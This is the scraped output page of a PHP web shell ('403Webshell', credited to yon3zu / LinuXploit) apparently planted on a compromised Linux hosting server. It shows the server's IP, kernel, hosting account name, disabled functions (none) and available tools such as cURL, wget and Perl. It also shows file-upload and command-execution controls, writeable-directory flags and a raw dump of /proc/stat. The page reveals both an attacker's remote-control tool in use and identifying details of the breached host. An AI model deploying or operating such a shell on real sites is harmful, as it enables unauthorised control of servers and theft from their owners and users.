403Webshell
Server IP : 198.38.94.13  /  Your IP : 216.73.217.33
Web Server : Apache
System : Linux d4744.dxb1.stableserver.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : revivere ( 1140)
PHP Version : 8.2.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/624624/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/624624/root/proc//stat
cpu  1866878946 32498993 1030366003 4619654666 13973147 0 21043517 266326 0 0
cpu0 78203185 1391067 43180289 191096948 585141 0 4815539 11208 0 0
cpu1 78843184 1416887 43583170 190572553 585066 0 2621689 11890 0 0
cpu2 78728759 1419762 43575022 190894625 586004 0 1596574 10886 0 0
cpu3 78989156 1434289 43733822 190594809 584734 0 1256103 10962 0 0
cpu4 78949500 1431265 43718651 190735475 589399 0 898051 10829 0 0
cpu5 79054977 1444392 43785597 190642569 588497 0 652529 10914 0 0
cpu6 78762365 1443073 43625164 191046889 589565 0 518237 10772 0 0
cpu7 78892451 1458962 43698417 190935944 591623 0 373035 10705 0 0
cpu8 78780000 1458820 43628794 191124318 586267 0 306684 10841 0 0
cpu9 78877837 1462364 43665809 191002300 590713 0 243969 10783 0 0
cpu10 78890755 1480339 43672387 190956009 589489 0 201522 10734 0 0
cpu11 78870624 1479351 43694435 190953439 593631 0 170048 10911 0 0
cpu12 78967730 1472554 43671865 190903366 601925 0 144181 10765 0 0
cpu13 75727956 979578 39407100 192893802 509572 0 5200643 11698 0 0
cpu14 75226511 1097016 40534514 196665342 538740 0 1255022 11779 0 0
cpu15 75543445 1150252 41420603 196741972 564338 0 127363 10646 0 0
cpu16 75796689 1194269 41936487 195975240 571415 0 108320 10621 0 0
cpu17 76134404 1243922 42240660 195342781 579417 0 94626 11423 0 0
cpu18 76488436 1279122 42487955 194684675 585536 0 88532 11185 0 0
cpu19 76753404 1312948 42627936 194264040 589648 0 80606 11139 0 0
cpu20 77135417 1332483 42896667 193605470 591099 0 77936 11370 0 0
cpu21 77459915 1354221 43023084 193159048 592368 0 73494 11453 0 0
cpu22 77806225 1377437 43251047 192555660 596408 0 70282 11481 0 0
cpu23 77996007 1384610 43306516 192307379 592540 0 68519 11322 0 0
intr 124600793715 58 9 0 0 1168 0 0 0 1 0 0 33 15 0 3110346 3110364 0 0 0 0 0 0 0 0 0 97 0 0 0 59029134 58358211 57946306 58712674 58790018 58983541 58765134 59090996 58590984 58824868 58916506 59303161 59774320 53314230 54528482 56251582 57492451 57749252 58179889 58590766 58594560 58618153 58659572 58616474 0 1913275758 2059183445 0 0 0 123 81 406 159 106 146 145 178 193 106 106 137 213 155 235 155 241 179 196 89 133 214 63 95 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 126284372154
btime 1783903955
processes 870011963
procs_running 14
procs_blocked 0
softirq 53018586694 2 1901209898 242632 86058142 3017708 0 352588968 93092471 4427949 3333308668

Youez - 2016 - github.com/yon3zu
LinuXploit